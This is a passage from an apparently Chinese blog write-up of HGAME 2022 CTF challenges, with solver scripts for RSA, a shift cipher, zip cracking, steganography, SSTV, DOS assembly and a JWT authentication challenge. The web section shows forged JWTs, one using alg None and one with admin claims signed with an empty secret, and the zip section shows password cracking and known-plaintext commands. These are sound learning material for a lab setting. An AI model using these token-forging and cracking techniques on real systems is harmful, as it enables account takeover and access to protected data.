转折意味着上下和左右均不相同或是超出边界</span></span><br><span class="line"> <span class="comment"># 复杂度比较高,本来可以沿着线走,但是懒得写了(</span></span><br><span class="line"> res = res * <span class="number">2</span> + cur</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>flag:<code>hgame{Danc1ng_L1ne_15_fun,_15n't_1t?}</code></p><h3 id="Easy-RSA">Easy RSA</h3><p>送分题,没啥好说的,RSA 的常规解密过程。</p><p>Python 脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Decrypt</span>(<span class="params">e, p, q, c</span>):</span><br><span class="line"> f = (p - <span class="number">1</span>) * (q - <span class="number">1</span>)</span><br><span class="line"> d = gmpy2.invert(e, f)</span><br><span class="line"> n = p * q</span><br><span class="line"> m = gmpy2.powmod(c, d, n)</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">chr</span>(m)</span><br><span class="line"></span><br><span class="line">a = [(<span class="number">12433</span>, <span class="number">149</span>, <span class="number">197</span>, <span class="number">104</span>), (<span class="number">8147</span>, <span class="number">131</span>, <span class="number">167</span>, <span class="number">6633</span>), (<span class="number">10687</span>, <span class="number">211</span>, <span class="number">197</span>, <span class="number">35594</span>), (<span class="number">19681</span>, <span class="number">131</span>, <span class="number">211</span>, <span class="number">15710</span>), (<span class="number">33577</span>, <span class="number">251</span>, <span class="number">211</span>, <span class="number">38798</span>), (<span class="number">30241</span>, <span class="number">157</span>, <span class="number">251</span>, <span class="number">35973</span>), (<span class="number">293</span>, <span class="number">211</span>, <span class="number">157</span>, <span class="number">31548</span>), (<span class="number">26459</span>, <span class="number">179</span>, <span class="number">149</span>, <span class="number">4778</span>), (<span class="number">27479</span>, <span class="number">149</span>, <span class="number">223</span>, <span class="number">32728</span>), (<span class="number">9029</span>, <span class="number">223</span>, <span class="number">137</span>, <span class="number">20696</span>), (<span class="number">4649</span>, <span class="number">149</span>, <span class="number">151</span>, <span class="number">13418</span>), (<span class="number">11783</span>, <span class="number">223</span>, <span class="number">251</span>, <span class="number">14239</span>), (<span class="number">13537</span>, <span class="number">179</span>, <span class="number">137</span>, <span class="number">11702</span>), (<span class="number">3835</span>, <span class="number">167</span>, <span class="number">139</span>, <span class="number">20051</span>), (<span class="number">30983</span>, <span class="number">149</span>, <span class="number">227</span>, <span class="number">23928</span>), (<span class="number">17581</span>, <span class="number">157</span>, <span class="number">131</span>, <span class="number">5855</span>), (<span class="number">35381</span>, <span class="number">223</span>, <span class="number">179</span>, <span class="number">37774</span>), (<span class="number">2357</span>, <span class="number">151</span>, <span class="number">223</span>, <span class="number">1849</span>), (<span class="number">22649</span>, <span class="number">211</span>, <span class="number">229</span>, <span class="number">7348</span>), (<span class="number">1151</span>, <span class="number">179</span>, <span class="number">223</span>, <span class="number">17982</span>), (<span class="number">8431</span>, <span class="number">251</span>, <span class="number">163</span>, <span class="number">30226</span>), (<span class="number">38501</span>, <span class="number">193</span>, <span class="number">211</span>, <span class="number">30559</span>), (<span class="number">14549</span>, <span class="number">211</span>, <span class="number">151</span>, <span class="number">21143</span>), (<span class="number">24781</span>, <span class="number">239</span>, <span class="number">241</span>, <span class="number">45604</span>), (<span class="number">8051</span>, <span class="number">179</span>, <span class="number">131</span>, <span class="number">7994</span>), (<span class="number">863</span>, <span class="number">181</span>, <span class="number">131</span>, <span class="number">11493</span>), (<span class="number">1117</span>, <span class="number">239</span>, <span class="number">157</span>, <span class="number">12579</span>), (<span class="number">7561</span>, <span class="number">149</span>, <span class="number">199</span>, <span class="number">8960</span>), (<span class="number">19813</span>, <span class="number">239</span>, <span class="number">229</span>, <span class="number">53463</span>), (<span class="number">4943</span>, <span class="number">131</span>, <span class="number">157</span>, <span class="number">14606</span>), (<span class="number">29077</span>, <span class="number">191</span>, <span class="number">181</span>, <span class="number">33446</span>), (<span class="number">18583</span>, <span class="number">211</span>, <span class="number">163</span>, <span class="number">31800</span>), (<span class="number">30643</span>, <span class="number">173</span>, <span class="number">191</span>, <span class="number">27293</span>), (<span class="number">11617</span>, <span class="number">223</span>, <span class="number">251</span>, <span class="number">13448</span>), (<span class="number">19051</span>, <span class="number">191</span>, <span class="number">151</span>, <span class="number">21676</span>), (<span class="number">18367</span>, <span class="number">179</span>, <span class="number">157</span>, <span class="number">14139</span>), (<span class="number">18861</span>, <span class="number">149</span>, <span class="number">191</span>, <span class="number">5139</span>), (<span class="number">9581</span>, <span class="number">211</span>, <span class="number">193</span>, <span class="number">25595</span>)]</span><br><span class="line">flag = <span class="string">""</span>;</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> a:</span><br><span class="line"> flag += Decrypt(x[<span class="number">0</span>], x[<span class="number">1</span>], x[<span class="number">2</span>], x[<span class="number">3</span>])</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>flag:<code>hgame{L00ks_l1ke_y0u've_mastered_RS4!}</code></p><h3 id="English-Novel">English Novel</h3><p>下载下来的文件夹里给了加密方法 <code>encrypt.py</code>,算法非常简单,就是用 <code>key</code> 对 <code>data</code> 进行了一个移位,而移位是模 26 意义下的,这就意味着如果知道原文和密文,我们可以暴力枚举密钥,每一位的复杂度是 $O(26)$。</p><p>接下来的问题是找原文对应的密文是什么了,而这些文件分别在 <code>original</code> 和 <code>encrypt</code> 文件夹下,但是被打乱了顺序。注意到加密对于非字符是跳过的,且不改变大小写,所以我们可以根据这两个条件来写脚本判断是否对应。</p><p>然后值得一提的是加密过程和密钥长度无关,所以只需要枚举 <code>flag.enc</code> 文件长度的密钥就行,时间复杂度 $O(n \times n + encrypted_len \times n \times 26)$。脚本如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">encrypted = <span class="string">"klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"</span></span><br><span class="line">encrypted_len = <span class="built_in">len</span>(encrypted)</span><br><span class="line">a = [[<span class="number">0</span> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">410</span>)] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(encrypted_len)]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">410</span>):</span><br><span class="line"> s1 = <span class="built_in">open</span>(<span class="string">f'./original/part<span class="subst">{i}</span>.txt'</span>).read()</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">410</span>):</span><br><span class="line"> s2 = <span class="built_in">open</span>(<span class="string">f'./encrypt/part<span class="subst">{j}</span>.txt'</span>).read()</span><br><span class="line"> l = <span class="built_in">len</span>(s1)</span><br><span class="line"> <span class="keyword">if</span> (l != <span class="built_in">len</span>(s2)): <span class="keyword">continue</span></span><br><span class="line"> cur = <span class="number">1</span></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(l):</span><br><span class="line"> <span class="keyword">if</span> (s1[k].isupper()):</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">not</span> (s2[k].isupper())): cur = <span class="number">0</span></span><br><span class="line"> <span class="keyword">elif</span> (s1[k].islower()):</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">not</span> (s2[k].islower())): cur = <span class="number">0</span></span><br><span class="line"> <span class="keyword">elif</span> (s1[k] != s2[k]): cur = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> (cur == <span class="number">0</span>): <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> (cur == <span class="number">1</span>):</span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(encrypted_len):</span><br><span class="line"> <span class="keyword">if</span> s1[k].isupper():</span><br><span class="line"> a[k][i] = (<span class="built_in">ord</span>(s1[k]) - <span class="built_in">ord</span>(<span class="string">'A'</span>), <span class="built_in">ord</span>(s2[k]) - <span class="built_in">ord</span>(<span class="string">'A'</span>))</span><br><span class="line"> <span class="keyword">elif</span> s1[k].islower():</span><br><span class="line"> a[k][i] = (<span class="built_in">ord</span>(s1[k]) - <span class="built_in">ord</span>(<span class="string">'a'</span>), <span class="built_in">ord</span>(s2[k]) - <span class="built_in">ord</span>(<span class="string">'a'</span>))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> a[k][i] = (-<span class="number">1</span>, -<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line">flag = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(encrypted_len):</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">not</span> encrypted[i].isupper() <span class="keyword">and</span> <span class="keyword">not</span> encrypted[i].islower()):</span><br><span class="line"> flag += encrypted[i]</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">for</span> key <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>):</span><br><span class="line"> cur = <span class="number">1</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">410</span>):</span><br><span class="line"> <span class="keyword">if</span> (a[i][j][<span class="number">0</span>] < <span class="number">0</span>): <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> ((a[i][j][<span class="number">0</span>] + key) % <span class="number">26</span> != a[i][j][<span class="number">1</span>]):</span><br><span class="line"> cur = <span class="number">0</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span> (cur == <span class="number">1</span>):</span><br><span class="line"> <span class="keyword">if</span> (encrypted[i].isupper()):</span><br><span class="line"> flag += <span class="built_in">chr</span>(((<span class="built_in">ord</span>(encrypted[i]) - <span class="built_in">ord</span>(<span class="string">'A'</span>) - key) % <span class="number">26</span> + <span class="number">26</span>) % <span class="number">26</span> + <span class="built_in">ord</span>(<span class="string">'A'</span>))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> flag += <span class="built_in">chr</span>(((<span class="built_in">ord</span>(encrypted[i]) - <span class="built_in">ord</span>(<span class="string">'a'</span>) - key) % <span class="number">26</span> + <span class="number">26</span>) % <span class="number">26</span> + <span class="built_in">ord</span>(<span class="string">'a'</span>))</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>flag:<code>hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}</code></p><h2 id="Iot">Iot</h2><h3 id="饭卡的uno">饭卡的uno</h3><p>硬件啥也不会,但是把 .hex 文件扔进 IDA 能看见这个:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">seg000:</span>000005BE <span class="built_in">db</span> <span class="number">68h</span> <span class="comment">; h</span></span><br><span class="line"><span class="symbol">seg000:</span>000005BF aGameF1rst5tep0 <span class="built_in">db</span> <span class="string">'game{F1rst_5tep_0F_IOT}'</span>,<span class="number">0</span></span><br></pre></td></tr></table></figure><p>flag:<code>hgame{F1rst_5tep_0F_IOT}</code></p><p>正解就等官方 wp 吧。。</p><h2 id="MISC">MISC</h2><h3 id="欢迎欢迎!热烈欢迎!">欢迎欢迎!热烈欢迎!</h3><p>送分题,照着题目做就行,flag 都没记录下来(</p><h3 id="这个压缩包有点麻烦">这个压缩包有点麻烦</h3><p>下载下来的文件注释告诉我们 <strong>Pure numeric passwords within 6 digits are not safe!</strong>。</p><p>意思就是让我们爆破密码,用 fcrackzip 暴力破解出密码是 <code>483279</code>。</p><p>解压后里面给了我们一个字典文件 <code>password-note.txt</code>,有个 <code>README.txt</code> 提示 <strong>I don’t know if it’s a good idea to write down all the passwords.</strong></p><p>然后发现 fcrackzip 的字典模式不能用,好像是把自己目录下的 README 当成字典了,也不会修,尝试编译了半天没成功,希望有大佬能教教我。</p><p>用 ARCHPR 跑字典后得到密码是 <code>&-`;qpCKliw2yTR\</code>。</p><p>解压后又有一个压缩包,提示 <strong>If you don’t like to spend time compressing files, just stores them.</strong>。</p><p>一开始以为这段话意思是没压缩藏在文件里了,尝试 binwalk,发现啥也没有。</p><p>仔细观察发现这段话刚好 68 字节,而压缩包里的 <code>README.txt</code> 原始大小也是 68 字节!更关键的是,CRC32 也相同!</p><p>于是考虑明文攻击。一开始试了好久一直不行,然后 SU 的师傅推荐了 rbkcrack,论工具的重要性(</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./rbkcrack.exe -C flag.zip -P README.zip -a</span><br></pre></td></tr></table></figure><p>拿到 keys: <code>060fd5e1 d1f696b7 12655d8d</code></p><p>再用 keys 去解压压缩包:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./rbkcrack.exe -C flag.zip -c flag.jpg -k 060fd5e1 d1f696b7 12655d8d -d flag.jpg</span><br></pre></td></tr></table></figure><p>拿到 flag.jpg,但是还没结束,图片内容不是 flag,使用 binwalk 发现里面藏着一个压缩包,把压缩包提取出来。</p><p>发现加密了,但是又没提示了。。思考了半天,想到压缩包的考点也就这么几个,文件内容决定了显然不是 CRC 爆破,那么只能是伪加密了。</p><p>把压缩包的两个压缩源文件数据区和压缩源文件目录区的加密标识 <code>09 00</code> 改成 <code>00 00</code> 即可,拿到最终的 flag.jpg。</p><p>flag:<code>hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}</code></p><h3 id="好康的流量">好康的流量</h3><p>给了一个流量包,用 Wireshark 打开看看,发现是一次邮件过程,里面放了一个图片附件。</p><p>流量包看上去没啥东西,去把图片还原出来吧。</p><p><img src="https://s2.loli.net/2022/01/28/OogxFSV4jptmGZJ.png" alt=""></p><p>用 binwalk 扫到了一个 <code>.zlib</code> 文件出来,被误导了半天。后来想到 binwalk 只检测文件头,文件里可能有数据类似 zlib 文件头被错误地检测出来了。把前面的数据提取出来,果然发现图片失效了,排除附加文件的可能。</p><p>看来只能从文件本身入手了,用 PS 放大,发现图片左上角有一个类似条形码的东西,但是我啥也不会,就拿 PS 先加滤镜,使用锐化,参数怎么清楚怎么来,然后手绘,大概半夜画到凌晨 3:40,得到这么一张图:</p><p><img src="https://s2.loli.net/2022/01/28/hl86REn7dfvZsSg.png" alt=""></p><p>还是老办法,先生成了 <code>hgame{</code> 的二维码,发现前面对上了!但是扫出来是 <code>hgame{ez_1mg_</code>,好家伙只有一半,又没啥思路了。</p><p>去搜索了图片隐写的方式,尝试搜索原图来看是否存在数字水印,但是只找到了完整的图片,而这张只是那张图的稿子。<s>但我知道了这张图是游戏王,牌佬出题人夹带私货属于是</s></p><p>没啥思路就拿眼睛瞪呗,用 PS 放大用取色器一个像素一个像素仔细观察,感觉最左边竖列颜色有问题,猜测也是有隐写,得知了 Stegsolve 这个工具,用它选择 RGB 的最低位,LSB,按竖列解析,获得这么一个文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">53746567346e3067 72617068797d5374 Steg4n0g raphy}St</span><br><span class="line">6567346e30677261 7068797d53746567 eg4n0gra phy}Steg</span><br><span class="line">346e306772617068 797d53746567346e 4n0graph y}Steg4n</span><br><span class="line">306772617068797d 53746567346e3067 0graphy} Steg4n0g</span><br><span class="line">72617068797d5374 6567346e30677261 raphy}St eg4n0gra</span><br><span class="line">7068797d53746567 346e306772617068 phy}Steg 4n0graph</span><br><span class="line">797d53746567346e 306772617068797d y}Steg4n 0graphy}</span><br><span class="line">53746567346e3067 72617068797d5374 Steg4n0g raphy}St</span><br><span class="line">6567346e30677261 7068797d53746567 eg4n0gra phy}Steg</span><br><span class="line">346e306772617068 797d53746567346e 4n0graph y}Steg4n</span><br><span class="line">306772617068797d 53746567346e3067 0graphy} Steg4n0g</span><br><span class="line">72617068797d5374 6567346e30677261 raphy}St eg4n0gra</span><br><span class="line">7068797d53746567 346e306772617068 phy}Steg 4n0graph</span><br><span class="line">797d53746567346e 306772617068797d y}Steg4n 0graphy}</span><br><span class="line">53746567346e3067 72617068797d5374 Steg4n0g raphy}St</span><br><span class="line">6567346e30677261 7068797d53746567 eg4n0gra phy}Steg</span><br><span class="line">346e306772617068 797d53746567346e 4n0graph y}Steg4n</span><br><span class="line">306772617068797d 53746567346e3067 0graphy} Steg4n0g</span><br><span class="line">72617068797d5374 6567346e30677261 raphy}St eg4n0gra</span><br><span class="line">7068797d53746567 346e306772617068 phy}Steg 4n0graph</span><br><span class="line">797d53746567346e 306772617068797d y}Steg4n 0graphy}</span><br><span class="line">53746567346e3067 72617068797d5374 Steg4n0g raphy}St</span><br><span class="line">6567346e30677261 7068797d53746567 eg4n0gra phy}Steg</span><br><span class="line">346e306772617068 797d53746567346e 4n0graph y}Steg4n</span><br><span class="line">306772617068797d 53746567346e3067 0graphy} Steg4n0g</span><br><span class="line">72617068797d5374 6567346e30677261 raphy}St eg4n0gra</span><br><span class="line">7068797fffffffff fffffffffb24db6d phy.... .....$.m</span><br><span class="line">b6db6db6ac3fffff fffffe6052398800 ..m..?.. ...`R9..</span><br><span class="line">0032967fffffffdb 6db6db6db6db6db6 .2..... m..m..m.</span><br><span class="line">db6db6db6db6db6d b7e40096decf503f .m..m..m ......P?</span><br><span class="line">........</span><br></pre></td></tr></table></figure><p>后面都是无意义乱码了,再与之前的到的前半部分拼接得到 flag:<code>hgame{ez_1mg_Steg4n0graphy}</code></p><p>P.S. 也是得知这个工具后才知道左上角的条形码可以通过 Stegsolve 的通道来看,直接秒出,选择 <code>Green Plane 2</code> 即可。可恶,白画了 3 个多小时 PS,TAT!论工具的重要性。</p><h3 id="群青-其实是幽灵东京)">群青(其实是幽灵东京)</h3><p>下载下来的音频先试听一会,发现低音区好像被截了,绝对有隐写(废话)。</p><p>拿 Audacity 看看频谱,发现字符串 Yoasobi,但是不是 flag。</p><p>然后再用 Silenteye 对文件进行解密,使用 AES256,密钥就用频谱得到的字符串 Yoasobi。</p><p>解出来一个 URL:<code>https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week1/S_S_T_V.wav</code></p><p>下载下来是一个非常刺耳的音频,拿文件名去网上搜索得知还有 SSTV 这东西,介绍就自己去看<a href="https://zh.wikipedia.org/wiki/%E6%85%A2%E6%89%AB%E6%8F%8F%E7%94%B5%E8%A7%86">百科</a>吧。</p><p>P.S. 国际空间站也传 SSTV 格式的视频,大佬可以自制天线接收解析(</p><p>但这格式也太小众了,网上还没啥软件能解析的,一搜全是怎么编码的。我终于在中国业余无线电论坛上找到有人推荐了 Black Cat SSTV。</p><p>但是直接外放麦克风的环境噪声比较大,只能看见里面有个二维码,并不能识别出来,好巧不巧的是,“Decode Audio File…” 选项会导致程序崩溃(已邮件反馈 bug)。</p><p>只能使用虚拟设备了,安装 VBCABLE,然后 Sound Input 选择 CABL Output,播放音频即可。</p><p><img src="https://s2.loli.net/2022/01/28/lFMZyB3vu9CwtRE.jpg" alt="Robot-36-Color.jpg"></p><p><s>就是不知道为什么是歪的,不过不影响结果</s></p><p>扫码出来 flag:<code>hgame{1_c4n_5ee_the_wav}</code></p><p>P.S. 图片右边好像是异格斯卡蒂,看来 MISC 出题人成分复杂啊(</p><h2 id="PWN">PWN</h2><h3 id="test-your-nc">test_your_nc</h3><p>PWN 啥也不会,就只会个 1 分的送分题。</p><p>连接以后直接 <code>ls</code> 发现有个 flag 文件,直接 <code>cat</code> 就行。</p><p>环境太卡了,flag 也忘记保存了。</p><h2 id="REVERSE">REVERSE</h2><h3 id="easyasm">easyasm</h3><p>这个文件不一般啊,是 DOS 的可执行文件,直接以文本格式打开发现有个 <code>hgame{Fill_in_your_flag}</code>,但这个显然不是 flag。</p><p>把文件扔进 IDA 里去,直接反汇编发现不兼容 16 位的代码。只能自己看了,发现两个不认识的寄存器 AL 和 AH,搜了一下资料。</p><div class="info"><p>AL,AH 合并起来是 AX,其中,AX 是一个 16 位寄存器,AH 就是 AX 的高字节(高 8 位),AL 是 AX 的低字节(低 8 位)。</p></div><p>大致看了一下,代码是把读入的数据放到 AL,把 AL 左移 4 位存到一个地方,再把 AL 右移 4 位存到一个地方,再把它们相加的结果异或 0x17,再与一个数组的数据进行比较。</p><p>前面说到 AL 是一个八位的寄存器,所以前面的操作相当于是把 AL 的高 4 位和低 4 位对调之后再异或 0x17。</p><p>直接通过逆向得到的数组进行反推,代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> s[<span class="number">28</span>] = {<span class="number">0x91</span>, <span class="number">0x61</span>, <span class="number">0x01</span>, <span class="number">0xC1</span>, <span class="number">0x41</span>, <span class="number">0xA0</span>, <span class="number">0x60</span>, <span class="number">0x41</span>, <span class="number">0xD1</span>, <span class="number">0x21</span>,</span><br><span class="line"> <span class="number">0x14</span>, <span class="number">0xC1</span>, <span class="number">0x41</span>, <span class="number">0xE2</span>, <span class="number">0x50</span>, <span class="number">0xE1</span>, <span class="number">0xE2</span>, <span class="number">0x54</span>, <span class="number">0x20</span>, <span class="number">0xC1</span>,</span><br><span class="line"> <span class="number">0xE2</span>, <span class="number">0x60</span>, <span class="number">0x14</span>, <span class="number">0x30</span>, <span class="number">0xD1</span>, <span class="number">0x51</span>, <span class="number">0xC0</span>, <span class="number">0x17</span>};</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">28</span>; i++) {</span><br><span class="line"> s[i] = s[i] ^ <span class="number">0x17</span>;</span><br><span class="line"> s[i] = (s[i] >> <span class="number">4</span>) + (s[i] << <span class="number">4</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">28</span>; i++) <span class="built_in">putchar</span>(s[i]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>拿到 flag:<code>hgame{welc0me_to_4sm_w0rld}</code></p><h2 id="WEB">WEB</h2><h3 id="easy-auth">easy_auth</h3><p>题目要我们拿到管理员的 to_do,先发现 <code>admin</code> 无法注册,得知管理员账号,然后注册了一个用户名是 <code>2333</code>,密码是 <code>2333</code> 的用户,登录后随便试了一会,了解一下 API。</p><p>一开始以为是什么 SQL 注入,但是毫无头绪,翻看 JS 的时候发现每次操作会传一个 token,而且格式非常特殊,就上午搜了一下,得知 JWT 这玩意。老规矩,不知道的请移步<a href="https://en.wikipedia.org/wiki/JSON_Web_Token">百科</a>。还知道了一个好用的工具网站: <a href="https://jwt.io/">https://jwt.io/</a></p><p>发现代码中会把这个 token 储存在 localStorage 里,就直接 <code>localStorage.getItem('token');</code> 拿到 token(为了清晰一点,我按照 JWT 的格式分为 3 段):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.</span><br><span class="line">eyJJRCI6MTU3OCwiVXNlck5hbWUiOiIyMzMzIiwiUGhvbmUiOiIiLCJFbWFpbCI6IiIsImV4cCI6MTY0Mjk5MzM0MiwiaXNzIjoiTUpjbG91ZHMifQ.</span><br><span class="line">AMrgcCQaMfJwPE_g9KIqC2rPLXU6RVt6-xxv81H3bN4</span><br></pre></td></tr></table></figure><p>用工具网站解析得到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "alg": "HS256",</span><br><span class="line"> "typ": "JWT"</span><br><span class="line">}</span><br><span class="line">{</span><br><span class="line"> "ID": 1578,</span><br><span class="line"> "UserName": "2333",</span><br><span class="line"> "Phone": "",</span><br><span class="line"> "Email": "",</span><br><span class="line"> "exp": 1642993342,</span><br><span class="line"> "iss": "MJclouds"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>网上搜索到方法有加密算法替换为 None 和密钥爆破,我直接对目标 API <code>http://whatadminisdoingwhat.mjclouds.com/v1/todo/list</code> 进行操作。</p><p>使用 <code>ewogICJhbGciOiAiTm9uZSIKfQ.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjk2NDI5MTM3OTIsImlzcyI6Ik1KY2xvdWRzIn0.</code></p><p>发现服务器不支持 None 算法:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "code": 14005,</span><br><span class="line"> "message": "signing method (alg) is unavailable.",</span><br><span class="line"> "count": 0</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>而 Signature 那么长也爆破不了 secret。注意到有个 ID 字段,怀疑是根据 ID 查询密码作为密钥的,尝试注入。</p><p><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6W10sIlVzZXJOYW1lIjoiYWRtaW4iLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjo5NjQyOTEzNzkyLCJpc3MiOiJNSmNsb3VkcyJ9.</code></p><p>然后返回了这个:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "code": 14005,</span><br><span class="line"> "message": "json: cannot unmarshal array into Go struct field JWTClaims.ID of type uint",</span><br><span class="line"> "count": 0</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>好了,现在我们得知后端是 Go 了,但是事实上并没有什么用。</p><p>P.S. 作者当时还去搜索了 Go 的 JWTClaims,发现确实有 CVE,但是这题里面毫无关系,反而思路被带偏了。</p><p>机缘巧合的是在我把 secret 置空以后发现生成的和最开始的那个居然一模一样,真是吐血,居然 secret 是空。这我一开始是真没想到。</p><p>然后我把 ID 改为 0,UserName 改为 admin,</p><p><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.DFdaY3gfvJ-9g7bz9wDSWCIGqlROXKo-_O4l4gTvToQ</code></p><p>服务器返回:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "code": 14005,</span><br><span class="line"> "message": "大坏蛋别做坏事!!!",</span><br><span class="line"> "count": 0</span><br><span 